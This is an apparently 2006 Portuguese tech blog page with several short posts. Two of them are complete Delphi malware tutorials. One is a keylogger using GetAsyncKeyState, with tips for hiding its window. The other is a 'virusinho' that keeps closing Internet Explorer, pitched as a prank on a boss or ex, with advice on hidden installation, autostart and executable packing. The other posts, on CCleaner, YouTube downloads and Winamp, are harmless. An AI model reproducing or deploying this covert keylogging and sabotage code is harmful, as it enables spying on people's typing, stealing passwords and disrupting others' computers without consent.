WWW: Site que permite salvar vídeos do YouTube

Publicado em 10/09/2006 • Outros1 comentário »

Para quem quer salvar vídeos do YouTube no formato original:

Entre em www.javimoya.com e coloque o endereço do vídeo... Ele salva no seu computador no formato do vídeo usado pelo YouTube. Você deverá então usar algum programa conversor para poder rodá-lo como mpg ou wmv...

Dica ++: Veja aqui um comentário sobre o VDownloader, software que salva e converte vídeos do You Tube.

--
Dica do Plug 700
www.intermatica.org

Dica: Como criar um keylogger! (em Delphi)

Publicado em 09/09/2006 • Outros121 comentários »

ESSE TEXTO TEM CARÁTER DIDÁTICO / APRENDIZADO DE PROGRAMAÇÃO. O USO QUE SE FARÁ DA INFORMAÇÃO É DE SUA TOTAL RESPONSABILIDADE. ELE DEVE SER USADO PARA FINS LEGAIS APENAS.

por Marcos Elias

Essa dica de Delphi é muuuuito boa! Um tempão atrás disso... Finalmente achei algo significante... Use por sua conta e risco!!!

Um método fácil de capturar TUDO O QUE É DIGITADO no computador com Windows, ou seja, um método fácil de criar um keylogger. É uma dica de programação, portanto não é para qualquer um. Uso o Borland Delphi 7, deve funcionar em diversas outras versões também...

Como é avançada, apesar de relativamente fácil, não vou comentar muito, ok?! Se você tiver dúvidas, comentários ou sugestões deixe um comentário neste post, e NÃO me envie e-mails perguntando porque não tenho tempo para responder sobre programação ou coisas avançadas.

Inicie o Delphi e crie um novo projeto. Insira um Memo e um Timer.

No código, defina a seguinte função:

function Coloca(txt: String): String;
begin
Form1.Memo1.Text := Form1.Memo1.Text + txt;
end;

E coloque no evento Timer do temporizador:

procedure TForm1.Timer1Timer(Sender: TObject);
var
keyloop, KeyResult : Integer;
begin
keyloop := 0;
repeat
KeyResult := GetAsyncKeyState(keyloop);
if KeyResult = -32767 then
begin
case keyloop of
8: Coloca(' [BACKSPACE] ');
9: Coloca(' [TAB] ');
12: Coloca(' [ALT] ');
13: Coloca(' [ENTER] ');
16: Coloca(' [SHIFT] ');
17: Coloca(' [CONTROL] ');
18: Coloca(' [ALT] ');
20: Coloca(' [CAPS LOCK] ');
21: Coloca(' [PAGE UP] ');
27: Coloca(' [ESC] ');
33: Coloca(' [PAGE UP] ');
34: Coloca(' [PAGE DOWN] ');
35: Coloca(' [END] ');
36: Coloca(' [HOME] ');
37: Coloca(' [SETA ESQUERDA] ');
38: Coloca(' [SETA ACIMA] ');
39: Coloca(' [SETA DIREITA] ');
40: Coloca(' [SETA ABAIXO] ');
45: Coloca(' [INSERT] ');
46: Coloca(' [DEL] ');
91: Coloca(' [WIN ESQUERDA] ');
92: Coloca(' [WIN DIREITA] ');
93: Coloca(' [MENU POP-UP] ');
96: Coloca('0');
97: Coloca('1');
98: Coloca('2');
99: Coloca('3');
100: Coloca('4');
101: Coloca('5');
102: Coloca('6');
103: Coloca('7');
104: Coloca('8');
105: Coloca('9');
106: Coloca(' [NUM *] ');
107: Coloca(' [NUM +] ');
109: Coloca(' [NUM -] ');
110: Coloca(' [NUM SEP. DECIMAL] ');
111: Coloca(' [NUM /] ');
112: Coloca(' [F1] ');
113: Coloca(' [F2] ');
114: Coloca(' [F3] ');
115: Coloca(' [F4] ');
116: Coloca(' [F5] ');
117: Coloca(' [F6] ');
118: Coloca(' [F7] ');
119: Coloca(' [F8] ');
120: Coloca(' [F9] ');
121: Coloca(' [F10] ');
122: Coloca(' [F11] ');
123: Coloca(' [F12] ');
144: Coloca(' [NUM LOCK] ');
186: Coloca('Ç');
187: Coloca('=');
188: Coloca(',');
189: Coloca('-');
190: Coloca('.');
191: Coloca(';');
192: Coloca(' [APÓSTROFO] ');
193: Coloca('/');
194: Coloca(' [NUM PONTO] ');
219: Coloca('´');
220: Coloca(']');
221: Coloca('[');
222: Coloca('~');
226: Coloca('\');
else
if (KeyLoop >= 65) and (keyloop <= 90) then
Coloca(Chr(keyloop));
if (keyloop >= 32) and (keyloop <= 63) then
Coloca(Chr(keyloop));
//numpad keycodes
if (keyloop >= 96) and (keyloop <= 110) then
Coloca(Chr(keyloop));
end;
end; //case;
inc(keyloop);
until keyloop = 255;
end;

ah sim, ia esquecendo.. coloque o interval do timer para "1"... senão ficará difícil captar neh.. rs

e ++:
é bom dxar o memo desabilitado (com a propriedade Enabled := False), pq se vc digitar nele, irá aparecer o q vc digitou naturalmente MAIS o q o Timer fica adicionando a ele, e ficará repedito e confuso..

Então... Rode o programa (tecle F9).

Tecle qualquer coisa no teclado e observe! Isso funciona mesmo se sua janela não estiver ativa (digo, se estiver por trás das outras ou ocultas). Keylogger que se preze... Não fica em janela!

Oculte-o como preferir, e salve o conteúdo do Memo onde quiser. Aí é com você...

Dica: para ocultar o programa, digite Application.ShowMainForm := False, no código-fonte do projeto, depois do Application.Initialize e antes do Application.CreateForm... Mas aí você deverá ter criado um método para recuperar o que foi digitado, né?!

Adapte o programa como você quiser, afinal aqui apenas mostrei como é possível capturar o que foi digitado. Lembre-se de que ele poderá ser fechado pelo Gerenciador de tarefas do Windows, através da guia "Processos".

deixo claro que esse código realmente "funciona", eu testei e coloquei algumas coisas a mais. eh soh adaptar ao q vc quer fazer!

UM KEYLOGGER PODE SER VISTO COMO UM PROGRAMA DO MAL, QUE COLETA DADOS DO USUÁRIO SEM O CONSENTIMENTO DESTE, E ENVIA AS INFORMAÇÕES COLETADAS PARA ALGUM HACKER OU PESSOA DO MAL. MAS ESSE MESMO KEYLOGGER PODE SER USADO PARA IDENTIFICAR O FUNCIONÁRIO QUE ZÔA NOS COMPUTADORES DA EMPRESA, PARA VER O QUE SUA FILHA DE 10 ANOS TECLA NO MSN, ETC. NOTE QUE PODE SER DE USO PROIBIDO EM ALGUNS PAÍSES. EM OUTROS, O MAIS COMUM, PARA SER CONSIDERADO UM SOFTWARE LEGAL ELE DEVE INFORMAR QUE O SISTEMA ESTÁ SENDO MONITORADO. EM EMPRESAS, POR EXEMPLO, OS FUNCIONÁRIOS DEVEM USAR OS COMPUTADORES PARA FINS DA EMPRESA, NUNCA COMO USO PESSOAL. ISSO DEVE SER DEIXADO BEM CLARO EM CONTRATO.

NÃO ME RESPONSABILIZO POR NADA QUE POSSA ACONTECER DEVIDO O USO DESTES CÓDIGOS AQUI APRESENTADOS. USE COM CONSCIÊNCIA E RESPONSABILIDADE, SEMPRE.

Nada como uma dica dessas comemorando esse UM ANO do Explorando!

NOTA: Apesar de funcionar, essa forma de criar keylogger é uma gambiarra tremenda. Não é ideal usar um Timer para isso, devido o processamento, quem sabe em alguma situação com uso intensivo de CPU por outras aplicações algumas teclas deixem de ser capturadas. O melhor é estudar sobre Hooks usando a API do Windows que intercepta os caracteres enviados pelo teclado, mas falar disso fica para uma outra hora.

Limpe todos os temporários, históricos, cookies... Com o CCleaner: 1 clique limpa tudo!

Publicado em 09/09/2006 • Outros7 comentários »

Micro lento? Entre muitas outras coisas, os arquivos temporários contribuem bastante para a lentidão. Os programas muitas vezes nem sequer se dão conta de apagar tais arquivos... Em micros de desinformados disso (creio que mais de 80% dos usuários domésticos) pode haver centenas e mais centenas de megabytes de LIXO no HD!

Em outros tópicos aqui no Explorando já comentei muita coisa sobre arquivos temporários e o prejuízo no desempenho que isso tudo causa, seria redundância citar mais exemplos e locais onde eles ficam (você pode pesquisar no nosso site, se quiser ver as dicas já publicadas...).

Mesmo para usuários avançados é um tédio ficar apagando os temporários manualmente, são de diversos tipos e estão em alguns lugares distintos... Eis então um programa magnífico, que deve ser instalado em todos os computadores que rodam Windows: CCleaner!

Ele limpa os temporários, os temporários da Internet (do Explorer, Firefox, Opera...), diversos logs do Windows que normalmente não servem para nada (servem na verdade apenas em casos muito específicos; se você não tem idéia do que estou falando então tenha certeza que estes logs não servem para você e podem ser apagados :)

Enfim, com um clique só você limpa tudo. E ele permite mais. Veja:

Você pode marcar o que quer ou não que ele limpe... Facilitador, uma mão na roda! Em computadores que não são limpos nuuunca (como os de muita gente em casa, em empresas, escritórios, micros de muitas lan houses...) muito lixo mesmo pode estar acumulado. Clicando no botão "Analisar" ele analisa e mostra uma lista de tudo o que será apagado, informando o tamanho total (e individual) ANTES de apagar. Clicando no Executar CCleaner então ele limpa tudo. Por padrão ele só apaga temporários criados há 48 horas atrás ou mais, para evitar o mal funcionamento de programas abertos ou arquivos que devem ser substituídos na próxima reinicialização do Windows. Mas você pode forçar a exclusão de todos, mesmo os mais recentes, através da tela das opções do CCleaner.

Na guia "Programas" você pode definir algumas coisas a mais a serem apagadas também, como as listas de arquivos recentes de diversos programas (WinRAR, Office, Nero, Windows Media Player, etc).

Tem ainda um verificador de erros básicos no registro do Windows e de atalhos com problemas (por exemplo, programas já removidos mas que mantiveram os atalhos). Ah sim, além disso tudo, duas grandes vantagens: é gratuito e tem interface em português!!!

Baixe na página dele:

www.ccleaner.com

Passe de vez em quando, algo como uma vez por mês (ou mais vezes, se você usar muito a Internet, que gera muitos arquivos temporários no cache). É bom fazê-lo com todos os programas fechados, incluindo os que ficam na bandeja do sistema (perto do relógio).

Importante: na instalação, desmarque os itens desnecessários, como a barra de ferramentas do Yahoo!. Recomendo deixar marcado apenas o item de criação de atalhos no menu Iniciar. O programa não é spyware nem nada, apenas fique atento na instalação para não instalar essa barra (e depois reclamar, né?!).

Virusinho que não deixa usar o Internet Explorer! (em Delphi)

Publicado em 09/09/2006 • Outros5 comentários »

Um ano de Explorando e Aprendendo... Soltando o espírito geeeek e zuador par forah!!! ++ dicas ouZadas pra vc!

por Marcos Elias

E como boas coisas se conseguem com bons recursos... Essa dica eh de programação em Delphi. Rapidinha... Mas muitho doooooida!!!

QUE TAL IMPEDIR O USO DO INTERNET EXPLORER?

pois bem... você pode usar na empresa, para q ningm use esse navegador.. ou pode fazer um "brinquedinho" e mandar pro seu chefe, ex-namorada, professora, amigo, sogra, famil... BZZZZZZZZ

vamus lah...

mostrarei como criar um programinha no delphi q fecha TODAS as janelas do internet explorer, SEM INTERVENÇÃO DO USUÁRIO. é basicamente um programa q envia uma mensagem pro IE como se fosse o windows ou outro programa çério qquer... soh q ele manda a mensagem de fechar - e o IE, sendo um programa obediente, fexa.. [na real quem fecha o IE é o windows, o sistema operacional, afinal eh ele quem controla a execução dos progs e a transferência de dados entre eles... e isso funcionaria em teoria com qquer programa, basta ter o nome de alguma classe que ele uza ou o handle dele na sessão atual..]

saiba que: "handle" é um número de indentificação para determinados componentes de programas, visuais ou não, que o windows gerencia para poder manipular os programas... por exemplo ao maximizar, minimizar ou fechar uma janela, o windows usa o handle dela para poder ocultá-la ou mostrá-la na tela, mostrar ou naum o botão dela na barra de tarefas, etc.. os handles são fornecidos pelo sistema operacional (que tbm usa mtos handles para controle dos seus processos) conforme os progs vão sendo abertos, e libera os números qdo naum saum mais usados. assim um prog naum tem um handle fixo. o identificador do handle vale apenas numa sessão do programa...

pelo nome da classe (objeto interno dum programa, sem detalhes técnicos por aki agora..) podemos obter o handle dos programas açossiados a ela no momento. e eh issu q iremos fazer: buscar pela classe IEFrame, uzada pelo IE, e se encontrar (se tiver alguma janela do IE aberta), capturar o handle dela e mandar fexar..

enfim. vamos lah... Delphi!!!
abra o delphi, crie uma nova aplicação e coloque um Timer (o primeiro componente da paleta system).

dê um duplo clique no timer e deixe o evento Timer dele assim:

procedure TForm1.Timer1Timer(Sender: TObject);
var
tchauIE : Thandle;
begin
while tchauIE <> 0 do
begin
tchauIE := FindWindow('IEFrame',nil);
SendMessage(tchauIE,WM_SYSCOMMAND,SC_CLOSE,0);
end;
CloseHandle(tchauIE);
end;


ñ se eskeça de declarar a variável "tchauIE", q armazenará temporariamente o handle de todas as janelas q tenham o componente "ieframe" (q eh o quadro de navegação do ie).

Se quiser, diminua o interval do timer tbm..

eh issu!!! rode o programa e tente abrir o IE... naum dará!!! e tds os q estiverem abertos são fechados.

explorando ainda ++:
em vez de SC_CLOSE como parâmetro, vc pode uzar:
SC_MAXIMIZE, para que o programa sempre seja maximizado (naum dará pra minimizar nem deixar a janela num tamanho menor)
SC_MINIMIZE, para minmimizar.. assim o ie soh ficará minimizado! a pessoa naum vai conseguir uzar e vai ficar louuuca!!!
procure por + coizas por vc msm...

vc pode programar um instalador oculto e colocar esse programinha pra se iniciar smp junto com o windows, daih poderia ser considerado um víruzinho.. rs coitadas das pessoas. o firefox bem q podia usar um código assim enquanto ele tah sendo eZecutrado neh?! naum eh o IE q eh o bam bam bam? pois bem.. rs

Dica: se quiser deixar seu programa 100% OCULTO (jah q ele mostraria o Form1), clique em "Project > ViewSource" e coloque dps do Application.Initialize:

Application.ShowMainForm := False;

mas aih pra fexar vc deve usar o gerenciador de tarefas..
se vc manjar legalz pode criar o timer em tempo de execução, diretamente no cod fonte do projeto, aih ele fika pekinininhu.. claaro remova o form1 e eXClua da uses td o q for supérfulo. se vc naum entendeu nd intaum essa msg naum foi pra vc. lembro q se kizer compactar o .exe num outro .exe automático e menor, use o UPX com o KebraByte, um compressor de executáveis gratuito: kebrabyte.mepsites.cjb.net.

dica ++: vc pode usar qquer outra coiZa no lugar de "IEFrame"... tipow se colocar "notepad" daih fexa o bloco de notas... "TfrmMepTexto" fexa o meu mep texto.. explore + nomes de classes d outros programas q vc keira fechar ou impedir o uso, com o "WinSight32", que vem com o delphi (no menu dele no iniciar > programas)

boooa sorte!!!

200609070101 (oiah soh.. 7 de setembru.. explorando e aprendendo, seeempre!!! haCKeando e aprendendu tbm, vaih.. afinalz quem acompanha esse site há qse um ano deve lembrar q o nome era "hackeando e aprendendo".. daih pcausa da integração com o mepsites e + e + dicas diversas, ficou "explorando". mas posts geeks e fuçadores d+ naum saum pra qquer um, daih uzo essa linguajem msm... td beeem?! se naum gostar, a web tah xeeeia de sites por aih.)

Dica de Winamp: Programe a ordem das músicas para tocar...

Publicado em 06/09/2006 • OutrosPostar comentário »

por Marcos Elias

Dica de Winamp!!!

Na lista de reprodução do Winamp, selecione a próxima música que você quer que toque, e tecle a letra "q" no teclado. Ela ficará destacada com o número "1". Após terminar a atual, o Winamp pula para ela. Você pode selecionar várias e teclar Q em uma de cada vez, elas ficarão numeradas... E serão as próximas a serem tocadas.

Facilita bastante quando você quer programar de alguma forma a ordem de excecução temporariamente, independentemente de ele estar no modo aleatório ou não.

--
Se você ainda não tem o Winamp, um dos melhores programas reprodutores de áudio e vídeo, baixe-o em www.winamp.com.